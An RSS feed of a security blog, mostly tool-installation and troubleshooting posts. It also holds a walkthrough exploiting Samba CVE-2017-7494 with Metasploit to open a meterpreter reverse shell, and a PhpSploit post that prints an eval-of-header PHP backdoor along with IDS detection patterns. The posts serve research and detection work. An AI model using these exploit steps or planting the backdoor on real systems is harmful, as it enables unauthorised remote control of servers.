<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[WikiSecure]]></title><description><![CDATA[Information Security Research Blogs]]></description><link>https://wikisecure.net/</link><image><url>https://wikisecure.net/favicon.png</url><title>WikiSecure</title><link>https://wikisecure.net/</link></image><generator>Ghost 5.35</generator><lastBuildDate>Thu, 23 Feb 2023 04:14:16 GMT</lastBuildDate><atom:link href="https://wikisecure.net/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[How to fix Snort dynamic preprocessor loading error]]></title><description><![CDATA[Guide on how to solve Snort dynamic preprocessor load error after upgrade.]]></description><link>https://wikisecure.net/how-to-fix-snort-dynamic-preprocessor-error/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca65</guid><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Fri, 02 Jun 2017 03:45:35 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Assuming if you&apos;ve here, by now you already might have encountered an error while loading snort to run as a daemon or testing your snort.conf configuration file for any syntactical errors (if any). To verify whether your instance of snort runs fine, we verify this by executing these commands:</p>
<pre>
<code class="language-bash">
$snort -V # Check your installed version of snort
$sudo snort -c /etc/snort/snort.conf -T  #Validates your snort instance for errors
</code>
</pre>
<p>This would tell you if all your configs are fine and passing. If not, this throws an exeception saying about the relevant error message in a more verbose fashion. Of late I had to upgrade my snort from some older release to 2.9.8.3 (installed through snort source files). Once the installation was over, while I verified if everything is perfect before I perform any tests or so, as usual I ran the command to check my configurations for any errors:</p>
<pre>
<code class="language-bash">
$sudo snort -c /etc/snort/snort.conf -T
</code>
</pre>
<p>Unfortunately I came across with an error message saying:</p>
<pre><code>ERROR size 1240 != 1120
ERROR: Failed to initialize dynamic preprocessor: SF_FTPTELNET version 1.2.13 (-2)
</code></pre>
<p>As far as the debugging/solving this issue is concerned, my first step was to verify if there are any significant changes in the path configurations between the older agaist the 2.9.8.3 snort instance. And I couldn&apos;t come up with any significant config changes which could have solved the problem right away. Digging more further I could see that there was a minor glitch which was failing the whole configuration check process to fail. It was the <strong>dynamicpreprocessor directory</strong> path configuration which was the root cause. In my snort instance of older snort, the path was being set to:</p>
<pre><code>/usr/lib/snort_dynamicpreprocessor/
</code></pre>
<p><br>To fix this error I simply had to do the following replacement inside the snort.conf file and it all started working flawless. :)<br>
<br><em>Erroneous entry:</em></p>
<pre><code>dynamicpreprocessor directory /usr/lib/snort_dynamicpreprocessor/
</code></pre>
<p><em>Fixed path:</em></p>
<pre><code>dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
</code></pre>
<p>Run the same config check command and you should come with the following message which states that now you have a running snort instance!</p>
<pre><code>Snort successfully validated the configuration!
Snort exiting
</code></pre>
<p>Hope this helps someone in some ways.</p>
<p><br>Cheers!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Samba is_known_pipename() CVE-2017-7494 in-the-wild vulnerability exploitation]]></title><description><![CDATA[Analysis notes on the recent outbreak related to Samba is_known_pipename() CVE-2017-7494 Remote Code Execution vulnerability.]]></description><link>https://wikisecure.net/samba-is-known-namedpipe-function-cve-2017-7494-vulnerability/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca64</guid><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Fri, 26 May 2017 08:42:35 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>It looks like of late a spree of critical bugs are giving many sleepless nights to several product vendors/researchers! WannaCry is still on the verge and not over yet and then came Adylkuzz. While people are busy fixing their network for those, yet another Samba bug came and can have devastating impacts on the end-user. The flaw is triggered while an arbitrary shared library is being loaded which further leads to a nice remote code execution into the target applcation context. The bug is extremely simple to reproduce via a one-liner using Metasploit (as per HD Moore&apos;s tweet). Anyways here I would be explaining the method on how to exploit this vulnerability on a standard Ubuntu installation and how you can pop a meterpreter session of the target machine. For reproducing this bug I&apos;ve used the followings:</p>
<ul>
<li>Ubuntu 16.04</li>
<li>Metasploit Framework</li>
<li>Exploit Module (<a href="https://goo.gl/g6e8OU">https://goo.gl/g6e8OU</a>)</li>
<li>Samba v4.5.9 (one of the vulnerable version)</li>
</ul>
<p>Let&apos;s have a walk-through on how to exploit this bug using metasploit. After the sequence of few commands, I&apos;ve shared few images and some attack session packet traces (pcaps). This should be helpful for the security researchers out there to come up with the right protections for their corporate products. Lets&apos;s get started..<br>
<br><strong>Setup exploitable samba:</strong></p>
<pre>
<code class="language-bash">
$ssh user@target_ip
$cd ~/Desktop
$wget -c &quot;https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz&quot;
$tar -zxvf samba-4.5.9.tar.gz
$cd samba-4.5.9
$./configure &amp;&amp; make # You need to install libraries here, if required
$sudo make install

#Verify the target version
$./bin/smbd -V

#Start the samba listerner (without running as a daemon) with more debug info
# You may choose the smb.conf which is already present inside testdata directory
$sudo ./bin/smbd -i --debuglevel=6 --configfile=./testdata/samba3/smb.conf
</code>
</pre>
<p><strong>Run these set of commands on attacker host:</strong></p>
<pre><code>$cd ~/metasploit-framework/
$git pull
$./msfconsole
use exploit/linux/samba/is_known_pipename
show options
set payload windows/meterpreter/reverse_tcp
set rhost &lt;target_ip&gt;
exploit
boom!! # Enjoy your popped meterpreter session ;)
</code></pre>
<p>Below are some of the exploit run screenshots you can refer as well:<br><br>
Step 01: Launch msfconsole and choose exploit<br>
<img src="http://i.imgur.com/BR8uIsS.jpg" alt="Invoke Msfconsole" loading="lazy"> <br><br>
Step 02: Check target ip and samba version<br>
<img src="http://i.imgur.com/EPFV3cJ.jpg" alt="IP and samba version check" loading="lazy"> <br><br>
Step 03: Start samba listener for expoitation:<br>
<img src="http://i.imgur.com/IOGCxao.jpg" alt="Run samba listener" loading="lazy"> <br><br>
Step 04: Set Payload and launch exploit!<br>
<img src="http://i.imgur.com/POUey6W.jpg" alt="Run exploit" loading="lazy"><br><br>
Step 05: popped shell (meterpreter) !!<br>
<img src="http://i.imgur.com/84gjk1f.jpg" alt="Run exploit" loading="lazy"><br><br>
Needless to say, how critical and devastating this bug can be in real world environment. If you don&apos;t have a appopritate fix, you can have a temporary workaround by adding the following inside <strong>[global]</strong> directive (file: <strong>smb.conf</strong>):</p>
<pre><code>nt pipe support = no
</code></pre>
<p>Additionally, there are some ITW Python based proof of concepts. Make sure you have the right vulnerable version along with the patched impacket if you want to reproduce the Python exploit variant.<br>
<br><br>
<strong>Packet capture:</strong><br>
You can download the packet capture of this attack session for your further analysis from <a href="https://goo.gl/FM1gt5">here</a>. This should be helpful for some security researchers out there!<br>
<br><br>
<strong>References:</strong><br><br>
<a href="https://isc.sans.edu/diary.html">https://isc.sans.edu/diary.html</a><br>
<a href="https://github.com/rapid7/metasploit-framework/pull/8450">https://github.com/rapid7/metasploit-framework/pull/8450</a><br>
<a href="https://github.com/omri9741/cve-2017-7494">https://github.com/omri9741/cve-2017-7494</a><br>
<a href="https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/">https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/</a><br>
<a href="https://community.rapid7.com/community/infosec/blog/2017/05/25/patching-cve-2017-7494-in-samba-it-s-the-circle-of-life">https://community.rapid7.com/community/infosec/blog/2017/05/25/patching-cve-2017-7494-in-samba-it-s-the-circle-of-life</a><br>
<br><br>
Peace!!..</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[tcpreplay v4.2.x Installation Tutorial (from source)]]></title><description><![CDATA[Easy how-to guide on installing tcpreplay on Linux from the source packages.]]></description><link>https://wikisecure.net/tcpreplay-v4-2-x-installation-tutorial-from-source/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca63</guid><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Tue, 23 May 2017 13:41:51 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Peeps, it&apos;s been a long time that unfortunately, I&apos;ve not updated any contents into my blog. Things have been really going different since a couple of months thus I couldn&apos;t figure out any free time out of my crazy schedules. And then got occupied with some WannaCry stuffs. Anyways finally I am back with some more contents and this time I have some good buffer time with me. Hopefully, you should be seeing some more frequent updates going forward. At the same time, I am planning to launch my own YouTube channel for which I am preparing some interesting contents. Looking forward to launching it soon! Hope you like them.</p>
<p>Now coming back to the business. Today I would be sharing the easy steps on how you can perform tcpreplay installation (on Linux) from its source package in-stead of relying on apt-get method as that would not install the latest version for you which got many more fixes and security patches.</p>
<p>To give you an idea about the tool before we start, tcpreplay is a pcap replay tool which got many awesome features. A few mention out of all enormous features, you can modify PCAP parameters on the fly before performing packet replays as per your network setup environment, perform quick replays and much more. The list would go on and on. The latest version of tcpreplay got many security fixes, patches thus making it more stable than the earlier builds.</p>
<p>The older version of tcpreplay (around ~3.x) had many issues to replay a bunch of pcaps and that was a time when I had to perform a large scale automation. That&apos;s when I realized that tcpreplay v3.x is not enough to get the things done as many of the packet captures were not replayed successfully even though the packets were looking absolutely fine at the first place. And once I upgraded to the 4.2.x version (mine is v4.2.4 by the time of this blog post), all those replay errors were simply gone. So if you try to install tcpreplay via aptitude on Ubuntu (my preferred OS), better you avoid that and follow the source installation in-stead. I would explain the process on how to do it the easier way. Let&apos;s get started.</p>
<h2 id="installdevelopmentlibraries">Install development libraries:</h2>
<pre><code class="language-language-bash">$sudo apt-get install -y libdumbnet-dev libpcap-dev libnet1 libnet1-dev
$sudo updatedb &amp;&amp; sudo ldconfig
</code></pre>
<h2 id="downloadsources">Download sources:</h2>
<pre><code class="language-language-bash">$sudo apt-get update
$cd /tmp
$wget -c &quot;https://downloads.sourceforge.net/project/tcpreplay/tcpreplay/4.2.6/tcpreplay-4.2.6.tar.gz?r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Ftcpreplay%2F&amp;ts=1495545608&amp;use_mirror=excellmedia&quot; -O &quot;tcpreplay_426.tar.gz&quot;
$tar -zxvf tcpreplay_426.tar.gz
</code></pre>
<h2 id="compileandinstall">Compile and install:</h2>
<pre><code class="language-language-bash">$cd /tmp/tcpreplay_426
$./configure &amp;&amp; make &amp;&amp; sudo make install
</code></pre>
<h2 id="verifyyourinstallation">Verify your installation:</h2>
<pre><code class="language-language-bash">$tcpreplay -V
</code></pre>
<p>You should be getting the verbose details of your tcpreplay instance along with the linked libdnet and libpcap version details.</p>
<p>Thats all!</p>
<p>Have fun. Cheers!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Metasploit fe_sendauth no password workaround]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>If you are reading this blog post then its obvious that you are having issues while initializing msfconsole on your terminal. This problem happens whenever you pass a NULL value to the database.yml file which is considered to be a vital config file while msfconsole initiailizes itself.</p>
<p>Even if</p>]]></description><link>https://wikisecure.net/metasploit-fe_sendauth-workaround/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca62</guid><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Mon, 22 Aug 2016 16:41:59 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>If you are reading this blog post then its obvious that you are having issues while initializing msfconsole on your terminal. This problem happens whenever you pass a NULL value to the database.yml file which is considered to be a vital config file while msfconsole initiailizes itself.</p>
<p>Even if your postgresql service is running successfully and the following command works pretty well, <code>db_connect msf:msf@127.0.0.1/msf</code> chances are, by-mistake you have left the database.yml file intact without any password value. There are probably many other fixes to solve this issue. However below is a small step which you must check before proceeding further to debug this issue deeper.</p>
<p>Launch your vim and do the following:</p>
<pre><code>$ sudo vim /opt/metasploit-framework/config/database.yml
production:
 adapter: postgresql
 database: msf
 username: msf
 password:
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5
</code></pre>
<p>If you see the password field is left blank. Put the password which you&apos;ve given while installing your copy of metasploit from the git repo. Once you feed the details, restart postgresql service and you should not be having the <code>fe_sendauth no password supplied</code> error anymore.</p>
<p>Hope it helps somebody some way or the other.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PhpSploit Backdoor tool walk-through]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Hey! Offlate I spent some hours to understand the <strong>PHPSploit</strong> backdoor. The backdoor looks pretty interesting in terms of payload delivery and at the same time doing the same in a stealthy way. Trust me, it does the job pretty nicely. I will add some small excerpts on what it</p>]]></description><link>https://wikisecure.net/a-walk-through-of-phpsploit-backdoor/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca61</guid><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Tue, 05 Jan 2016 10:29:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Hey! Offlate I spent some hours to understand the <strong>PHPSploit</strong> backdoor. The backdoor looks pretty interesting in terms of payload delivery and at the same time doing the same in a stealthy way. Trust me, it does the job pretty nicely. I will add some small excerpts on what it does in the below paragraphs. I won&apos;t spend much time explaining the internal architecture of this tool since that would be extremely time taking and would be beyond the scope of this post. I would rather choose another separate page to discuss the core technicalities to break down the Python source code. Sometimes down the line I would break down this tool by explaining the source code on a high-level e.g. how the data is encoded, techniques, Python classes//methods etc. However this post is all about understanding how this tool works, what this tool is all about, its installation procedure, exploitation methods etc. Let&apos;s not waste time and dig into it right away. :)</p>
<h4 id="aboutphpsploit">About PhpSploit</h4>
<p>As per the tool author, <strong>PhpSploit</strong> is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.<br><br>After the successful exploitation (once you inject the backdoor function call to an arbitrary  PHP document) you get a remote tunnel through HTTP protocol. I will share some screenshots below which would help you to understand more in-depth.</p>
<h4 id="tooloverview">Tool overview:</h4>
<pre><code>- Post-exploitation
- Privilege escalation in a stealthy manner
- Exec commands 
- Bypass PHP security restrictions
- Edit remote files through local text editor 
- Polymorphic by nature
- HTTP/HTTPS/SOCKS4/SOCKS5 proxy support and many more!
</code></pre>
<h4 id="tooldependencies">Tool dependencies</h4>
<pre><code>- Ubuntu (preferable)
- Python v3.x
- pyparsing
- readline
- pyserialize
- colorama
- shnake
</code></pre>
<h4 id="whystealthy">Why stealthy?</h4>
<ul>
<li>Uses HTTP <strong>GET</strong> (in-stead of <strong>POST</strong>) method to perform attack payload delivery which is basically ignored by the network log analysts in most of the cases.</li>
<li>Absence of <strong>HTTP POST</strong> related data or any suspicious <strong>GET URI</strong> parameters or <strong>POST message body</strong> attack payloads. This could help bypass some IDS or IPS devices (unless you have a rule/signature to fingerprint this behavior).</li>
<li>Attack payload is being sent through the <strong>Base64</strong> encoding routines.</li>
</ul>
<h4 id="installation">Installation</h4>
<p>You can either use git or wget to download the package from the original repository. You can try the below procedure to make this tool up and running!</p>
<pre><code class="language-bash">$cd /tmp
$wget https://github.com/nil0x42/phpsploit/archive/master.zip
$unzip -d [path2extract] master.zip
$cd phpsploit-master
$./phpsploit
phpsploit&gt;
</code></pre>
<p>Once this step is done you need to find a target where the malicious PHP function call is injected. Remember, this is the main step on which the complete tool relies at the first place! If you want to test this tool locally, you can set up a LAMPP stack and create a new page in the web root directory and add this code snippet against that PHP document.</p>
<pre><code>&lt;? @eval($_SERVER[&apos;HTTP_PHPSPL01T&apos;]) ?&gt;
</code></pre>
<p>Once the above step is done, you need to setup a target host IP where you want to launch the attack in. You can follow the below command line procedure to accomplish this:</p>
<pre><code class="language-bash">$cd phpsploit-master 
phpsploit &gt; set [Show the default configs before launching the attack]
phpsploit &gt; set TARGET &quot;http://target_ip:port/injected.php&quot; [Exploit func call must be here]
NOTE: You can change the **BACKDOOR** variable value but make sure 
      you know exactly what you are doing.
phpsploit &gt; exploit and Voilla! Now you have a shell to play around with.
</code></pre>
<p>Now let&apos;s understand what exactly happened at the infected host and what we actually sent over the wire!</p>
<h4 id="quickobservations">Quick observations</h4>
<ul>
<li>An HTTP GET request to the target PHP page (backdoor.php) where the<br>
exploit function call was injected.</li>
<li>Base64 encoded payload along with some arbitrary non-RFC compliant<br>
headers.</li>
<li>HTTP Header values contain the encoded version of some PHP source<br>
codes which is doing all the magic internally!</li>
</ul>
<h4 id="tcpdatahttp">TCP Data (HTTP)</h4>
<p><img src="http://i.imgur.com/1EEPAte.jpg" alt="Packet cpature" loading="lazy"></p>
<ul>
<li><strong>Shape1</strong>, points to an HTTP GET request to the target PHP page (backdoor.php) where the exploit function call was injected.</li>
<li><strong>Shape2</strong>, points to the Base64 encoded payload.</li>
</ul>
<p>If you want to fingerprint this behavior through your IDS/IPS devices there are few ways you can do that. However you need to be sure that if HTTPS being used in-stead of HTTP you need to decrypt the ssl-encrypted payload (provided your device supports this module). SSL payload inspection is a very performance intensive process and most devices avoid that at the first place unless you enable this module explicitly!</p>
<h4 id="detectionlogic">Detection Logic</h4>
<ul>
<li>A Non-RFC compliant header e.g. &quot;Zz:&quot; followed by random 2 bytes characters.</li>
</ul>
<pre>PCRE: &quot;ZZ[a-za-z]:|20|base64_data&quot;</pre>
<ul>
<li>HTTP Header has an unique identifier e.g. <strong>Phpspl01T</strong></li>
</ul>
<pre>PCRE: &quot;Phpspl01T:|20|eval\(base64_decode\(JHM9JF9&quot;</pre>
<p><strong>NOTE</strong>: Detection might vary though based on their future upgrades. In that case you need to make necessary changes to your signature database accordingly.</p>
<h4 id="references">References</h4>
<pre><code>https://github.com/nil0x42/phpsploit
https://en.wikipedia.org/wiki/Backdoor_Shell
</code></pre>
<p>Thats all for now! If you have any questions, feedback or comments then please do so. I would be happy to see how the post is paying off in your research. <br><br>Happy B4ckd00ring! :-)</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SMBMap: SMB shares enumeration tool]]></title><description><![CDATA[A short write-up for SMBMap Remote Network Share enumeration tool]]></description><link>https://wikisecure.net/smbmap-map-smb-shares/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca60</guid><category><![CDATA[python]]></category><category><![CDATA[security]]></category><category><![CDATA[sectools]]></category><category><![CDATA[pytools]]></category><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Tue, 05 May 2015 12:24:44 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>While it comes to SMB shares/files enumeration inside Linux we can make use of tools i.e. <em>nmap</em>, <em>smbclient</em>. However there is a new addition to the group of SMB shares mapping tools. Its being named as <strong>SMBMap</strong> and is totally based on Python as the source language. Plus its GPL v3 based which is again cool. The tool uses impacket library as its core dependency plus you need to have python-asn1 libary installed on your host. If you don&apos;t have the required dependencies then you might want to execute the following set of commands:</p>
<p><br><strong>Tool dependencies:</strong></p>
<pre>* python-pyasn1
* impacket</pre>
<p><br><strong>Installation steps:</strong></p>
<pre><code class="language-language-bash">$sudo apt-get update
$sudo apt-cache search python-pyasn1 # Package must be available on your apt source
$sudo apt-get install python-pyasn1
$cd /tmp/
$wget https://github.com/CoreSecurity/impacket/archive/master.zip -O impacket.zip #Recently they git&apos;d
$unzip -d . impacket.zip
$cd impacket-master
$sudo python setup.py install
$wget https://raw.githubusercontent.com/ShawnDEvans/smbmap/master/smbmap.py
$chmod a+x smbmap.py &amp;&amp; cp smbmap.py /usr/local/bin/smbmap.py *#Optional step, PS: You may create softlink if you want*
$cd /usr/local/bin/
$python smbmap.py *#You should come acorss with its paramater usages if its all good above*
</code></pre>
<p><strong>Usage examples:</strong></p>
<pre><code class="language-language-bash">#View Remote SMB shares and their permissions in a tabular format
$python smbmap.py -u &lt;username&gt; -p &lt;password&gt; -H &lt;ip_addr&gt;
#View directory contents along with permissions details recursively 
$python smbmap.py -u &lt;username&gt; -p &lt;password&gt; -H &lt;ip_addr&gt; -r
</code></pre>
<p>Hope it helps!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PyDbg: An Installation Guide]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>No doubt, PyDbg is a lovely User-Mode (Ring3) debugger available which is open source and completely scriptable in Python. If you want to parse the exe, decode instructions on the fly then this is the right choice for you! You can even code your own API Hooking, Monitoring tools (can</p>]]></description><link>https://wikisecure.net/pydbg-an-installation-guide/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca5d</guid><category><![CDATA[python]]></category><category><![CDATA[security]]></category><category><![CDATA[pydbg]]></category><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Thu, 09 Apr 2015 20:32:21 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>No doubt, PyDbg is a lovely User-Mode (Ring3) debugger available which is open source and completely scriptable in Python. If you want to parse the exe, decode instructions on the fly then this is the right choice for you! You can even code your own API Hooking, Monitoring tools (can be extended in various ways though) through PyDbg. However, today I will be explaining you the method on how we can install PyDbg and get our hands dirty. I have seen cases where most of the user&#x2019;s get stuck while installing this tool. Even though the installation method is quite straight forward but proceeding with the wrong way can screw up your Python installation sometimes. Although PyDbg is supported for Python v2.4 only but there are various ways we can follow to run PyDbg even in Python v2.5 and so on. This post will focus on Python v2.4 version only.</p>
<p>To install PyDbg we need to have 3 packages handy with us:</p>
<ul>
<li>Python v2.4, of-course!</li>
<li>PaiMei Framework (Download)</li>
<li>ctypes (Download)</li>
</ul>
<p>For the time being I am considering that you have chosen your default Python installation directory as &#x201C;C:\Python24\&#x201D;. Now we need to install Ctypes and PaiMei respectively.<br>
<strong>NOTE:</strong> Correct order is necessary otherwise we might end up with a faulty installation!</p>
<ul>
<li>Run the ctypes installer executable, follow the instructions accordingly.</li>
<li>Once the ctypes is installed successfully, extract the PaiMei zip archive file and cd to the directory where &#x201C;setup.py&#x201D; file is present.</li>
<li>Once you are inside that directory (where you see setup.py is present in PWD), issue the following command to install the PaiMei framework into your host.</li>
</ul>
<pre>
<code class="language-bash">
C:\Users\UserID\Desktop\PaiMei\python setup.py install
</code>
</pre>
<ul>
<li>If all goes well, then you have successfully installed PaiMei along with the PyDbg framework in your host! But do remember that if ctypes libraries are not installed properly, PaiMei installer won&#x2019;t let you install itself into your target machine.</li>
</ul>
<p>Once the installation is done, it time to check if you have successfully installed PyDbg into your host or not. In order to do that let&#x2019;s write a small Python code (dbgtest.py) snippet for a test run and check if it gives us the desired output in the console.</p>
<pre>
<code class="language-python">
from pydbg import *

dbgObj = pydbg()  # Create PyDbg object
print dbgObj.enumerate_processes()# Lists all the current running processes along with the PIDs.
</code>
</pre>
<p>If it lists out all the running processes which are all running in your host currently, then you have successfully installed PyDbg.<br>
<br><br><br>
Happy debugging!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Importing PyV8 Engine into Python 2.7, the easy way]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>PyV8 is a Python wrapper module to perform JavaScript emulation on the fly like the way we do in SpiderMonkey. But, if you are having a hard-time configuring/compiling PyV8 sources then its always recommended to use the compiled binaries. If you are able to compile the V8 sources successfully</p>]]></description><link>https://wikisecure.net/importing-pyv8-engine-into-python-v2-7-the-easy-way/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca5c</guid><category><![CDATA[python]]></category><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Thu, 09 Apr 2015 20:20:39 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>PyV8 is a Python wrapper module to perform JavaScript emulation on the fly like the way we do in SpiderMonkey. But, if you are having a hard-time configuring/compiling PyV8 sources then its always recommended to use the compiled binaries. If you are able to compile the V8 sources successfully without any errors then you don&#x2019;t have to follow the below steps. The below steps are for those who were unable to import the PyV8 module into their Python interactive console. Please follow the below steps accordingly.</p>
<p>Generally below is the location where the Python v2.x modules are stored:</p>
<pre><code>/usr/lib/python2.7/dist-packages/
</code></pre>
<p>You can fetch the list of PyV8 sources from the below URL:</p>
<pre><code>https://code.google.com/p/pyv8/downloads/list?can=1
</code></pre>
<p>Download the appropriate package which suits your OS flavor. Extract the files into your desktop and copy both the files i..e &#x201C;PyV8.py&#x201D; and &#x201C;_PyV8.so&#x201D; to the location from where Python looks for the presence of modules. You can follow the the below steps if it was confusing at the first place.</p>
<pre><code>$ cd ~/tmp/
$ wget -c &quot;https://raw.githubusercontent.com/emmetio/pyv8-binaries/master/pyv8-linux32.zip&quot;
$ unzip pyv8-linux32.zip
$ sudo cp *PyV8* /usr/lib/python2.7/dist-packages/
</code></pre>
<p>Afterwards to verify if you can import the wrapper module successfully, fire your Python console and import PyV8 Module. If you are able to see the output like below then you are all set!</p>
<pre><code class="language-language-python">    testuser@xylux:~$ python
    Python 2.7.6 (default, Apr 10 2015, 08:20:38) 
    [GCC 4.8.2] on linux2
    ...
    &gt;&gt;&gt; import PyV8
    &gt;&gt;&gt; dir(PyV8)
    [&apos;AST&apos;, &apos;DontDelete&apos;, &apos;DontEnum&apos;, &apos;HAS_UTF8&apos;, &apos;Internal&apos;, &apos;JSAllocationAction&apos;, &apos;JSArray&apos;, &apos;JSAttribute&apos;, &apos;JSClass&apos;, &apos;JSClassConstructor&apos;, &apos;JSClassPrototype&apos;, &apos;JSContext&apos;, &apos;JSDebugEvent&apos;, &apos;JSDebugProtocol&apos;, &apos;JSDebugger&apos;, &apos;JSEngine&apos;, &apos;JSError&apos;, &apos;JSExtension&apos;, &apos;JSFunction&apos;, &apos;JSIsolate&apos;, &apos;JSLocker&apos;, &apos;JSObject&apos;, &apos;JSObjectSpace&apos;, &apos;JSProfiler&apos;, &apos;JSScript&apos;, &apos;JSStackFrame&apos;, &apos;JSStackTrace&apos;, &apos;JSUnlocker&apos;, &apos;JS_ESCAPABLE&apos;, &apos;MAXYEAR&apos;, &apos;MINYEAR&apos;, &apos;ReadOnly&apos;, &apos;StringIO&apos;, &apos;TestAST&apos;, &apos;TestContext&apos;, &apos;TestDebug&apos;, &apos;TestEngine&apos;, &apos;TestMultithread&apos;, &apos;TestProfile&apos;, &apos;TestWrapper&apos;, &apos;_PyV8&apos;, &apos;__all__&apos;, &apos;__author__&apos;, &apos;__builtins__&apos;, &apos;__doc__&apos;, &apos;__file__&apos;, &apos;__name__&apos;, &apos;__package__&apos;, &apos;__version__&apos;, &apos;_js_escape_unicode_re_callack&apos;, &apos;collections&apos;, &apos;convert&apos;, &apos;date&apos;, &apos;datetime&apos;, &apos;datetime_CAPI&apos;, &apos;func_apply&apos;, &apos;is_py3k&apos;, &apos;js_escape_unicode&apos;, &apos;json&apos;, &apos;logging&apos;, &apos;os&apos;, &apos;print_function&apos;, &apos;profiler&apos;, &apos;re&apos;, &apos;sys&apos;, &apos;thread&apos;, &apos;time&apos;, &apos;timedelta&apos;, &apos;toNativeString&apos;, &apos;toUnicodeString&apos;, &apos;traceback&apos;, &apos;tzinfo&apos;, &apos;unittest&apos;, &apos;with_statement&apos;]

</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Fix pylibemu import error]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>If you use <strong>peepdf</strong> tool as one of your weapon to analyze malicious PDF documents then you might have come across with an error related to libemu python wrapper module imports. Well the funny fact is even if you have installed libemu and the python wrapper around it, its very</p>]]></description><link>https://wikisecure.net/fix-libemu-python-wrapper-import-error-in-peepdf/</link><guid isPermaLink="false">63f0c2ef15eb6c301f93ca5b</guid><category><![CDATA[python]]></category><dc:creator><![CDATA[Sujit Ghosal]]></dc:creator><pubDate>Thu, 09 Apr 2015 20:01:50 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>If you use <strong>peepdf</strong> tool as one of your weapon to analyze malicious PDF documents then you might have come across with an error related to libemu python wrapper module imports. Well the funny fact is even if you have installed libemu and the python wrapper around it, its very surprising if you still come across with such errors! Basically the libemu import error comes while we try to load a PDF document into PPDF (peepdf tool) interactive command line context. The error looks like this:</p>
<blockquote>
<p>Error: pylibemu is not installed!!</p>
</blockquote>
<p>Well its a pretty straight forward error which says the program couldn&#x2019;t import the pylibemu module. The reason we get this error is, in Python v2.7 the module gets a new name i.e. libemu only, which is the root cause for this error. To fix this problem you just need to push a slight code change to a python file i..e &#x201C;PDFConsole.py&#x201D;. Once you open that Python source file &#x201C;PDFConsole.py&#x201D; you will encounter a line like this:</p>
<pre><code class="language-language-python">    try:
      import pylibemu
      EMU_MODULE = True
    except:
      EMU_MODULE = False
</code></pre>
<p>You just need to modify the module name there (since the module name name is a different one) and you are all set to perform shellcode detection against your loaded PDF document. The modified code would look like this:</p>
<pre><code class="language-language-python">    try:
        import libemu
        EMU_MODULE = True
    except:
        EMU_MODULE = False
</code></pre>
<p>Have fun!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>